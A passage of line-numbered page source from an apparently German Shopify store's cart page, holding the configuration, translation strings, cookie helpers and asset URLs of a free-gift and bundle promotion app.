save"}},"cheapest_discount":{"color":{"theme_color":"neutral","see_more_color":"#303030","open_icon_color":"#4A4A4A","active_icon_color":"#303030","bullet_text_color":"#808080","widget_title_color":"#303030","product_price_color":"#303030","product_title_color":"#303030","variant_title_color":"#303030","widget_border_color":"#888888","open_tier_text_color":"#303030","button_add_text_color":"#ffffff","widget_subtitle_color":"#616161","active_tier_text_color":"#303030","tiers_background_color":"#F6F6F6","widget_background_color":"#ffffff","excluded_tier_text_color":"#CCCCCC","product_list_label_color":"#616161","button_add_background_color":"#303030"},"content":{"tier_style":"checklist","see_more_text":"See all","show_see_more":true,"number_products":4,"number_cols_mobile":2,"number_rows_mobile":2,"product_list_label":"Choose from these products to get discount","number_cols_desktop":4,"number_rows_desktop":2,"add_product_bt
13357n_text":"Add","show_add_product_btn":true}},"promotion_message":{"text_color":"#ffffff","background_color":"#F72119","show_on_cart_page":true},"thanks_page_upsell":{"color":{"button_style":"primary","widget_price_color":"base","widget_background_color":"transparent"},"content":{"widget_message":"You may also like","widget_button_text":"Add to cart"},"general":{"widget_layout":"carousel","widget_position ":"left","widget_active_message":true,"widget_active_compare_at_price":true}},"bundle_product_page":{"color":{"theme_color":"neutral","quantity_color":"#303030","active_tab_text":"#303030","badge_text_color":"#303030","default_tab_text":"#303030","active_tab_border":"#303030","child_theme_color":"neutral","default_tab_border":"#FFFFFF","product_name_color":"#303030","section_name_color":"#303030","variant_name_color":"#616161","discount_price_color":"#303030","original_price_color":"#808080","section_border_color":"#D0D0D0","active_tab_background":"#F0F0F0","add_item_button_color":"#303030","size_list_label_color":"#303030","badge_background_color":"#FFBB4E","child_label_text_color":"#303030","default_tab_background":"#F0F0F0","total_price_text_color":"#616161","add_bundle_button_color":"#303030","product_card_background":"#F6F6F6","child_product_name_color":"#303030","child_variant_name_color":"#616161","child_widget_title_color":"#303030","child_widget_border_color":"#303030","add_item_button_text_color":"#FFFFFF","add_bundle_button_text_color":"#FFFFFF","child_label_background_color":"#E7E7E7","child_widget_background_color":"#F0F0F0","child_redirect_button_text_color":"#303030"},"content":{"child_label":"Includes in {{number}} bundles","cart_button_text":"Add bundle to cart","total_price_text":"Total bundle price","countdown_message":"Added {{amount_added}} items, {{amount_left}} to go","child_widget_style":"filled_background","show_countdown_on_button":true,"child_show_discount_label":true,"child_redirect_button_label":"Go to bundle","child_products_per_row_mobile":2,"child_products_per_row_desktop":4,"child_show_product_variant_name":true}}},"configs":{"type_seo":"number_integer","mode_override_checkout":"default"},"integration":{"transcy":{"enable":true,"install":true},"judgeme":{"settings":null},"trustoo":{"settings":null}},"settings":{"draft_order":{"discount_code":false,"automatic_discount":false},"gift_format":"same_as_original_products","auto_add_gift":true,"offer_process":"cloned","sale_channels":null,"sync_quantity":false,"barcode_format":"blank","fraud_protection":null,"notify_via_email":null,"cal_gift_discount":"compare_at_price","gift_title_format":"gift","using_draft_order":false,"select_one_gift_price":false,"admin_api_access_token":null,"manual_input_inventory":false,"include_compare_at_price":true,"cart_and_checkout_validation":{"type":[],"offer":false,"value":{"max_gifts":1,"min_cart_value":1,"min_cart_quantity":1},"status":true,"values":[],"condition":"and"},"fraud_protection_cancel_order":null,"other_original_product_detail":null,"compare_gift_price_with_product":false,"delete_gift_after_turn_off_offer":true,"not_show_gift_if_already_on_cart":false,"type_seo":"number_integer","mode_override_checkout":"default","publications":null},"storefront":{"access_token":"d84683b25035aadd226a5b530b218875","created_at":"2026-09-30T14:18:42Z"}}};
13358    
13359SECOMAPP.fgData.translation = {};
13360    SECOMAPP.fgData.translation["en"] = {...{"customize.fbt.off_text":"OFF","customize.fbt.see_more":"See more","customize.fbt.item_text":"item","customize.fbt.this_item":"This item","offers.89518.offer_name":"Digitale Visitenkarte ab 100€","customize.fbt.button_text":"Add selected items","customize.fbt.product_text":"product(s)","volume_discount.11213.title":"SW 3.0 - Quantity Tabelle ohne Gravur","volume_discount.11220.title":"SW 3.0 - Quantity Tabelle mit Schriftgravur","volume_discount.11221.title":"SW 3.0 - Quantity Tabelle mit Bildgravur","customize.fbt.free_item_text":"Free 1 item","customize.fbt.total_price_text":"Total price","customize.mix_match.free_price":"FREE","customize.bundle_page.step_text":"Step {{index}}","customize.mix_match.button_text":"Add bundle to cart","volume_discount.11213.sub_title":"St. Nicholas Sale Deals","volume_discount.11220.sub_title":"St. Nicholas Sale Deals","volume_discount.11221.sub_title":"St. Nicholas Sale Deals","customize.bundle_page.free_price":"FREE","customize.bundle_page.filter_text":"Filter by","customize.mix_match.discount_text":"{{discountAmount}} OFF","volume_discount.11213.description":"Garantiert das beste Angebot des Jahres","volume_discount.11213.tiers.1.tag":"Spare 45% | Standard","volume_discount.11213.tiers.2.tag":"Spare 55% | Am beliebtesten","volume_discount.11213.tiers.3.tag":"Spare 63% | Bester Preis","volume_discount.11220.description":"Garantiert das beste Angebot des Jahres","volume_discount.11220.tiers.1.tag":"Spare 45% | Standard","volume_discount.11220.tiers.2.tag":"Spare 60% | Am beliebtesten","volume_discount.11220.tiers.3.tag":"Spare 67% | Bester Preis","volume_discount.11221.description":"Garantiert das beste Angebot des Jahres","volume_discount.11221.tiers.1.tag":"Spare 42% | Standard","volume_discount.11221.tiers.2.tag":"Spare 58% | Am beliebtesten","volume_discount.11221.tiers.3.tag":"Spare 67% | Bester Preis","customize.bundle_classic.item_text":"Item","customize.mix_match.out_stock_text":"Out of stock!","customize.quantity_break.item_text":"Item","customize.today_offer.variant_text":"{{number}} variants selected","customize.today_offer.widget_title":"TODAY OFFER","customize.bundle_classic.free_price":"FREE","customize.bundle_page.discount_text":"{{discountAmount}} OFF","customize.mix_match.mix_item_header":"Mix item {{itemIndex}}","customize.today_offer.see_more_text":"See more ({{number}} products)","volume_discount.11213.tiers.1.label":"Spare 45%","volume_discount.11213.tiers.1.title":"Kaufe 1","volume_discount.11213.tiers.2.label":"Spare 56%","volume_discount.11213.tiers.2.title":"Kaufe 2","volume_discount.11213.tiers.3.label":"Spare 65%","volume_discount.11213.tiers.3.t
13360itle":"Kaufe 3","volume_discount.11220.tiers.1.label":"Spare 45%","volume_discount.11220.tiers.1.title":"Kaufe 1","volume_discount.11220.tiers.2.label":"Spare 56%","volume_discount.11220.tiers.2.title":"Kaufe 2","volume_discount.11220.tiers.3.label":"Spare 65%","volume_discount.11220.tiers.3.title":"Kaufe 3","volume_discount.11221.tiers.1.label":"Spare 45%","volume_discount.11221.tiers.1.title":"Kaufe 1","volume_discount.11221.tiers.2.label":"Spare 56%","volume_discount.11221.tiers.2.title":"Kaufe 2","volume_discount.11221.tiers.3.label":"Spare 65%","volume_discount.11221.tiers.3.title":"Kaufe 3","customize.bundle_classic.button_text":"Add bundle to cart","customize.bundle_page.load_more_text":"Load more","customize.bundle_page.out_stock_text":"Out of stock","customize.bundle_page.read_more_text":"See more","customize.mix_match.total_price_text":"Total bundle price","customize.quantity_break.button_text":"In den Warenkorb","customize.bundle_page.atc_button_text":"Add to bundle","customize.bundle_page.blank_step_text":"Add product to this step","customize.bundle_page.filter_btn_text":"Apply filter","customize.bundle_page.no_product_text":"There is no product to display","customize.gift_slider.select_gift_btn":"Select variants","customize.today_offer.widget_subtitle":"Claim these exclusive offers today","customize.bundle_classic.discount_text":"{{discountAmount}} OFF","customize.bundle_page.cart_button_text":"Add bundle to cart","customize.bundle_page.total_price_text":"Total bundle price","customize.gift_slider.gift_popup_title":"Dein Geschenk","customize.mix_match.free_product_title":"🎁 Free Gift","customize.quantity_break.discount_text":"{{discountAmount}} OFF","customize.bundle_page.reset_filter_text":"Reset filter","customize.mix_match.select_product_text":"Choose from {{number}} product(s)","customize.today_offer.gift_notification":"Get {{number}} gift for {{discountAmount}} OFF","customize.today_offer.icon_widget_title":"Today offer","volume_discount.11213.tiers.2.sub_title":"1 für Dich - 1 zum Verschenken","volume_discount.11213.tiers.3.sub_title":"Perfekt zum Verschenken","volume_discount.11220.tiers.2.sub_title":"1 für Dich - 1 zum Verschenken","volume_discount.11220.tiers.3.sub_title":"Perfekt zum Verschenken","volume_discount.11221.tiers.2.sub_title":"1 für Dich - 1 zum Verschenken","volume_discount.11221.tiers.3.sub_title":"Perfekt zum Verschenken","customize.bundle_page.about_product_text":"About this product","customize.bundle_page.free_product_title":"🎁 Free Gift","customize.bundle_page.sort_by_title_text":"Sort by","customize.bundle_page.summary_title_text":"Your bundle","customize.gift_icon.gift_thumbnail_title":"Gratis Budget-Planer im Wert von 29,90€ zu jeder Bestellung!","customize.mix_match.select_variant_title":"Variant","customize.bundle_classic.total_price_text":"Total bundle price","customize.bundle_page.choose_variant_text":"Choose variant","customize.cheapest_discount.see_more_text":"See all","customize.quantity_break.total_price_text":"Summe","customize.mix_match.select_collection_text":"Choose from {{number}} collection(s)","customize.bundle_classic.free_product_title":"🎁 Free Gift","customize.bundle_page.maximum_quantity_text":"Maximum item reached","customize.bundle_page.required_product_text":"{{number}} item(s) required","customize.bundle_page.sort_by_name_a_z_text":"Name: A-Z","customize.bundle_page.sort_by_name_z_a_text":"Name: Z-A","customize.gift_slider.add_to_cart_btn_title":"In den Warenkorb","customize.quantity_break.subscription_title":"Subscription","customize.bundle_classic.select_variant_text":"Select variant","customize.quantity_break.select_variant_text":"Farbe wählen","customize.bundle_page.search_placeholder_text":"Search product name","customize.gift_slider.number_gifts_added_text":"You have added {{number}} gift product(s)","customize.quantity_break.option_label_onetime":"One-time purchase","customize.bundle_page.sort_by_date_newest_text":"Newest","customize.bundle_page.sort_by_date_oldest_text":"Oldest","customize.bundle_page.summary_description_text":"Choose items from this page to make your own bundle","customize.cheapest_discount.product_list_label":"Choose from these products to get discount","customize.gift_icon.gift_thumbnail_number_text":"gift items included","customize.cheapest_discount.add_product_bt
13360n_text":"Add","customize.bundle_page.sort_by_price_high_low_text":"Price: High to Low","customize.bundle_page.sort_by_price_low_high_text":"Price: Low to High","customize.gift_icon.gift_thumbnail_countdown_text":"Expiring in","customize.gift_slider.notify_offer_available_text":"🎁 You have qualified for {{qualifiedOffers}} offer(s)!","customize.gift_slider.disable_slider_checkbox_text":"Don't show this offer again","customize.quantity_break.option_label_subscription":"Subscribe \u0026 save","customize.gift_slider.number_gifts_can_be_added_text":"You can add {{number}} gift product(s)","customize_booster.today_offer.cb_product_list_label_text":"Buy all items from bundle","customize_booster.today_offer.gift_product_list_label_text":"Choose {{number}} gift(s) from","customize_booster.today_offer.mm_bp_product_list_label_text":"Buy at least {{number}} items from bundle","customize_booster.today_offer.vl_chp_product_list_label_text":"Buy at least {{number}} items to get discount"}};
13361    SECOMAPP.fgData.translation["en"] = {...{"customize.fbt.off_text":"OFF","customize.fbt.see_more":"See more","customize.fbt.item_text":"item","customize.fbt.this_item":"This item","offers.89518.offer_name":"Digitale Visitenkarte ab 100€","customize.fbt.button_text":"Add selected items","customize.fbt.product_text":"product(s)","volume_discount.11213.title":"SW 3.0 - Quantity Tabelle ohne Gravur","volume_discount.11220.title":"SW 3.0 - Quantity Tabelle mit Schriftgravur","volume_discount.11221.title":"SW 3.0 - Quantity Tabelle mit Bildgravur","customize.fbt.free_item_text":"Free 1 item","customize.fbt.total_price_text":"Total price","customize.mix_match.free_price":"FREE","customize.bundle_page.step_text":"Step {{index}}","customize.mix_match.button_text":"Add bundle to cart","volume_discount.11213.sub_title":"St. Nicholas Sale Deals","volume_discount.11220.sub_title":"St. Nicholas Sale Deals","volume_discount.11221.sub_title":"St. Nicholas Sale Deals","customize.bundle_page.free_price":"FREE","customize.bundle_page.filter_text":"Filter by","customize.mix_match.discount_text":"{{discountAmount}} OFF","volume_discount.11213.description":"Garantiert das beste Angebot des Jahres","volume_discount.11213.tiers.1.tag":"Spare 45% | Standard","volume_discount.11213.tiers.2.tag":"Spare 55% | Am beliebtesten","volume_discount.11213.tiers.3.tag":"Spare 63% | Bester Preis","volume_discount.11220.description":"Garantiert das beste Angebot des Jahres","volume_discount.11220.tiers.1.tag":"Spare 45% | Standard","volume_discount.11220.tiers.2.tag":"Spare 60% | Am beliebtesten","volume_discount.11220.tiers.3.tag":"Spare 67% | Bester Preis","volume_discount.11221.description":"Garantiert das beste Angebot des Jahres","volume_discount.11221.tiers.1.tag":"Spare 42% | Standard","volume_discount.11221.tiers.2.tag":"Spare 58% | Am beliebtesten","volume_discount.11221.tiers.3.tag":"Spare 67% | Bester Preis","customize.bundle_classic.item_text":"Item","customize.mix_match.out_stock_text":"Out of stock!","customize.quantity_break.item_text":"Item","customize.today_offer.variant_text":"{{number}} variants selected","customize.today_offer.widget_title":"TODAY OFFER","customize.bundle_classic.free_price":"FREE","customize.bundle_page.discount_text":"{{discountAmount}} OFF","customize.mix_match.mix_item_header":"Mix item {{itemIndex}}","customize.today_offer.see_more_text":"See more ({{number}} products)","volume_discount.11213.tiers.1.label":"Spare 45%","volume_discount.11213.tiers.1.title":"Kaufe 1","volume_discount.11213.tiers.2.label":"Spare 56%","volume_discount.11213.tiers.2.title":"Kaufe 2","volume_discount.11213.tiers.3.label":"Spare 65%","volume_discount.11213.tiers.3.title":"Kaufe 3","volume_discount.11220.tiers.1.label":"Spare 45%","volume_discount.11220.tiers.1.title":"Kaufe 1","volume_discount.11220.tiers.2.label":"Spare 56%","volume_discount.11220.tiers.2.title":"Kaufe 2","volume_discount.11220.tiers.3.label":"Spare 65%","volume_discount.11220.tiers.3.title":"Kaufe 3","volume_discount.11221.tiers.1.label":"Spare 45%","volume_discount.11221.tiers.1.title":"Kaufe 1","volume_discount.11221.tiers.2.label":"Spare 56%","volume_discount.11221.tiers.2.title":"Kaufe 2","volume_discount.11221.tiers.3.label":"Spare 65%","volume_discount.11221.tiers.3.t
13361itle":"Kaufe 3","customize.bundle_classic.button_text":"Add bundle to cart","customize.bundle_page.load_more_text":"Load more","customize.bundle_page.out_stock_text":"Out of stock","customize.bundle_page.read_more_text":"See more","customize.mix_match.total_price_text":"Total bundle price","customize.quantity_break.button_text":"In den Warenkorb","customize.bundle_page.atc_button_text":"Add to bundle","customize.bundle_page.blank_step_text":"Add product to this step","customize.bundle_page.filter_btn_text":"Apply filter","customize.bundle_page.no_product_text":"There is no product to display","customize.gift_slider.select_gift_btn":"Select variants","customize.today_offer.widget_subtitle":"Claim these exclusive offers today","customize.bundle_classic.discount_text":"{{discountAmount}} OFF","customize.bundle_page.cart_button_text":"Add bundle to cart","customize.bundle_page.total_price_text":"Total bundle price","customize.gift_slider.gift_popup_title":"Dein Geschenk","customize.mix_match.free_product_title":"🎁 Free Gift","customize.quantity_break.discount_text":"{{discountAmount}} OFF","customize.bundle_page.reset_filter_text":"Reset filter","customize.mix_match.select_product_text":"Choose from {{number}} product(s)","customize.today_offer.gift_notification":"Get {{number}} gift for {{discountAmount}} OFF","customize.today_offer.icon_widget_title":"Today offer","volume_discount.11213.tiers.2.sub_title":"1 für Dich - 1 zum Verschenken","volume_discount.11213.tiers.3.sub_title":"Perfekt zum Verschenken","volume_discount.11220.tiers.2.sub_title":"1 für Dich - 1 zum Verschenken","volume_discount.11220.tiers.3.sub_title":"Perfekt zum Verschenken","volume_discount.11221.tiers.2.sub_title":"1 für Dich - 1 zum Verschenken","volume_discount.11221.tiers.3.sub_title":"Perfekt zum Verschenken","customize.bundle_page.about_product_text":"About this product","customize.bundle_page.free_product_title":"🎁 Free Gift","customize.bundle_page.sort_by_title_text":"Sort by","customize.bundle_page.summary_title_text":"Your bundle","customize.gift_icon.gift_thumbnail_title":"Gratis Budget-Planer im Wert von 29,90€ zu jeder Bestellung!","customize.mix_match.select_variant_title":"Variant","customize.bundle_classic.total_price_text":"Total bundle price","customize.bundle_page.choose_variant_text":"Choose variant","customize.cheapest_discount.see_more_text":"See all","customize.quantity_break.total_price_text":"Summe","customize.mix_match.select_collection_text":"Choose from {{number}} collection(s)","customize.bundle_classic.free_product_title":"🎁 Free Gift","customize.bundle_page.maximum_quantity_text":"Maximum item reached","customize.bundle_page.required_product_text":"{{number}} item(s) required","customize.bundle_page.sort_by_name_a_z_text":"Name: A-Z","customize.bundle_page.sort_by_name_z_a_text":"Name: Z-A","customize.gift_slider.add_to_cart_btn_title":"In den Warenkorb","customize.quantity_break.subscription_title":"Subscription","customize.bundle_classic.select_variant_text":"Select variant","customize.quantity_break.select_variant_text":"Farbe wählen","customize.bundle_page.search_placeholder_text":"Search product name","customize.gift_slider.number_gifts_added_text":"You have added {{number}} gift product(s)","customize.quantity_break.option_label_onetime":"One-time purchase","customize.bundle_page.sort_by_date_newest_text":"Newest","customize.bundle_page.sort_by_date_oldest_text":"Oldest","customize.bundle_page.summary_description_text":"Choose items from this page to make your own bundle","customize.cheapest_discount.product_list_label":"Choose from these products to get discount","customize.gift_icon.gift_thumbnail_number_text":"gift items included","customize.cheapest_discount.add_product_btn_text":"Add","customize.bundle_page.sort_by_price_high_low_text":"Price: High to Low","customize.bundle_page.sort_by_price_low_high_text":"Price: Low to High","customize.gift_icon.gift_thumbnail_countdown_text":"Expiring in","customize.gift_slider.notify_offer_available_text":"🎁 You have qualified for {{qualifiedOffers}} offer(s)!","customize.gift_slider.disable_slider_checkbox_text":"Don't show this offer again","customize.quantity_break.option_label_subscription":"Subscribe \u0026 save","customize.gift_slider.number_gifts_can_be_added_text":"You can add {{number}} gift product(s)","customize_booster.today_offer.cb_product_list_label_text":"Buy all items from bundle","customize_booster.today_offer.gift_product_list_label_text":"Choose {{number}} gift(s) from","customize_booster.today_offer.mm_bp_product_list_label_text":"Buy at least {{number}} items from bundle","customize_booster.today_offer.vl_chp_product_list_label_text":"Buy at least {{number}} items to get discount"}};//liquid code to get customer history and customer tag
13362    
13363    
13364    SECOMAPP.current_template = "cart";
13365    SECOMAPP.pathname = window.location.pathname;
13366    if (SECOMAPP.current_template === "404" && SECOMAPP.pathname?.includes("-sca_clone_freegift")) {
13367        window.location.replace(SECOMAPP.pathname.split("-sca_clone_freegift")[0]);
13368    } else if (SECOMAPP.current_template === "404" && SECOMAPP.pathname?.includes("/collections/sca_fg")) {
13369        window.location.replace(`${Shopify?.routes?.root ?? "/"}collections/all`);
13370    }
13371
13372    SECOMAPP.setCookie = function (e, t, o, n, r) {
13373        let i = new Date;
13374        i.setTime(i.getTime() + 24 * o * 36e5 + 60 * n * 1e3);
13375        let f = "expires=" + i.toUTCString();
13376        document.cookie = e + "=" + t + ";" + f + (r ? ";path=" + r : ";path=/");
13377    };
13378    SECOMAPP.deleteCookie = function (e, t) {
13379        document.cookie = e + "=; expires=Thu, 01 Jan 1970 00:00:00 UTC; " + (t ? ";path=" + t : ";path=/")
13380    };
13381    SECOMAPP.getCookie = function (e) {
13382        for (let t = e + "=", o = document.cookie.split(";"), n = 0; n < o.length; n++) {
13383            let r;
13384            for (r = o[n]; " " === r.charAt(0);) r = r.substring(1);
13385            if (0 === r.indexOf(t)) return r.substring(t.length, r.length)
13386        }
13387        return ""
13388    };
13389    SECOMAPP.getQueryString = function (key) {
13390        let e = {};
13391        let t = window.location.search.substring(1).split("&");
13392        let o = 0;
13393        for (; o < t.length; o++) {
13394            let n = t[o].split("=");
13395            if (void 0 === e[n[0]]) e[n[0]] = decodeURIComponent(n[1]);
13396            else if ("string" == typeof e[n[0]]) {
13397                e[n[0]] = [e[n[0]], decodeURIComponent(n[1])]
13398            } else e[n[0]].push(decodeURIComponent(n[1]))
13399        }
13400        return key ? e?.[key] : e;
13401    };
13402
13403    SECOMAPP.offer_codes = [
13404        {param: "freegifts_code", cookie: "sca_fg_codes"},
13405        {param: "bundles_code", cookie: "sca_bundle_codes"},
13406        {param: "upsells_code", cookie: "sca_upsell_codes"},
13407        {param: "discounts_code", cookie: "sca_discount_codes"},
13408    ];
13409    SECOMAPP.offer_codes.forEach(({param, cookie}) => {
13410        SECOMAPP.fg_codes = [];
13411        SECOMAPP.getCookie(cookie) && (SECOMAPP.fg_codes = JSON.parse(SECOMAPP.getCookie(cookie)));
13412        SECOMAPP.current_code = SECOMAPP.getQueryString(param);
13413        SECOMAPP.current_code && !SECOMAPP.fg_codes.includes(SECOMAPP.current_code)
13414        && (function () {
13415            SECOMAPP.activateOnlyOnePromoCode && (SECOMAPP.fg_codes = []);
13416            SECOMAPP.fg_codes.push(SECOMAPP.current_code);
13417            SECOMAPP.setCookie(cookie, JSON.stringify(SECOMAPP.fg_codes));
13418        })();
13419    });
13420
13421    SECOMAPP.customer = {};
13422    SECOMAPP.customer.orders = [];
13423    SECOMAPP.customer.freegifts = [];
13424    SECOMAPP.customer.freegifts_v2 = [];
13425    
13426    SECOMAPP.customer.email = "";
13427    SECOMAPP.customer.first_name = "";
13428    SECOMAPP.customer.last_name = "";
13429    SECOMAPP.customer.tags = Object.values({...null});
13430    SECOMAPP.customer.orders_count = "" - 0;
13431    SECOMAPP.customer.total_spent = "" - 0;
13432    SECOMAPP.customer.b2b = "" - 0;
13433    SECOMAPP.market = {
13434        id: "105964011784" - 0,
13435        handle: "usa",
13436    };
13437    
13438
13439    // get class name config from settings_data.json
13440    if (!Shopify.scaHandleConfigValue) {
13441        Shopify.scaHandleConfigValue = {
13442            ...null,
13443            ...null
13444        };
13445    }
13446
13447    // add link proxy
13448    SECOMAPP.freegiftProxy = "/apps/secomapp_freegifts_get_order?ver=3.0";
13449    
13450    SECOMAPP.freegiftProxy = "/apps/secomapp_freegifts_get_order?ver=3.0";
13451    
13452    SECOMAPP.bogosCollectUrl = "https://collect.bogos.io/collect"
13453    SECOMAPP.bogosIntegrationUrl = "https://api.bogos.io/integrations"
13454
13455    // get shop locales
13456    SECOMAPP.shop_locales = Object.values({
13457        ...[{"shop_locale":{"locale":"en","enabled":true,"primary":false,"published":true}}]
13458    });
13459
13460    SECOMAPP.current_locale = {...{"shop_locale":{"locale":"en","enabled":true,"primary":false,"published":true}} }
13461
13462    
13463    
13464    window.fgGiftIcon = "https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/fg-icon-red_small.png";
13465    window.fgWidgetIconsObj = {
13466        "widget-icon-1.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-1_small.png',
13467        "widget-icon-2.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-2_small.png',
13468        "widget-icon-3.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-3_small.png',
13469        "widget-icon-4.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-4_small.png',
13470        "widget-icon-5.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-5_small.png',
13471        "widget-icon-6.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-6_small.png',
13472        "widget-icon-7.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-7_small.png',
13473        "widget-icon-8.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/widget-icon-8_small.png'
13474    }
13475
13476    window.fgStepIconsObj = {
13477        "step-icon-1.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/step-icon-1_small.png',
13478        "step-icon-2.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/step-icon-2_small.png',
13479        "step-icon-3.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/step-icon-3_small.png',
13480        "step-icon-4.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/step-icon-4_small.png',
13481        "step-icon-5.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/step-icon-5_small.png',
13482        "step-icon-6.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/step-icon-6_small.png',
13483        "step-icon-7.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/step-icon-7_small.png',
13484    }
13485
13486    window.fgSummaryIconsObj = {
13487        "summary-icon-1.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-1_small.png',
13488        "summary-icon-2.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-2_small.png',
13489        "summary-icon-3.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-3_small.png',
13490        "summary-icon-4.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-4_small.png',
13491        "summary-icon-5.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-5_small.png',
13492        "summary-icon-6.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-6_small.png',
13493        "summary-icon-7.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-7_small.png',
13494        "summary-icon-8.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/summary-icon-8_small.png',
13495    }
13496
13497    window.fgShippingIconsObj = {
13498        "shipping-icon-1.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/shipping-icon-1_small.png',
13499        "shipping-icon-2.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/shipping-icon-2_small.png',
13500        "shipping-icon-3.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/shipping-icon-3_small.png',
13501        "shipping-icon-4.png": 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/shipping-icon-4_small.png',
13502    }
13503
13504    // variable from tools
13505    SECOMAPP.variables = {
13506        ...SECOMAPP.variables,
13507        ...{"fg_decimal":0},
13508        ...{"web_pixel":true},
13509        shipping_product_img: 'https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/shipping_product_small.png'
13510    }
13511
13512    window.fgResource = {
13513        gift: {
13514            js: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/gift.min.js"]
13515        },
13516        bundle: {
13517            js: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bundle.min.js"],
13518            css: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.bundle.min.css"]
13519        },
13520        upsell: {
13521            js: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/upsell.min.js"],
13522            css: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.upsell.min.css"]
13523        },
13524        discount: {
13525            js: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/discount.min.js"],
13526            css: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.discount.min.css"]
13527        },
13528        "bundle-page": {
13529            js: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bundle-page.min.js"],
13530            css: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.bundle-page.min.css"]
13531        },
13532        booster: {
13533            js: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/booster.min.js"],
13534            css: ["https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.booster.min.css"]
13535        }
13536    }
13537</script>
13537
13538
13539<script defer src="https://static.bogos.io/ZW1pbmVudGVyLm15c2hvcGlmeS5jb20=/freegifts_data_1790778245.min.js"></script>
13539
13540<div id="secomapp_freegifts_url" data-url="https://static.bogos.io/ZW1pbmVudGVyLm15c2hvcGlmeS5jb20=/freegifts_data_1790778245.min.js"></div>
13541
13542
13543<div id="bogos-gift-script" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/gift.min.js"></div> 
13544<div id="bogos-bundle-script" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bundle.min.js"></div>
13545<div id="bogos-upsell-script" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/upsell.min.js"></div>
13546<div id="bogos-discount-script" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/discount.min.js"></div>
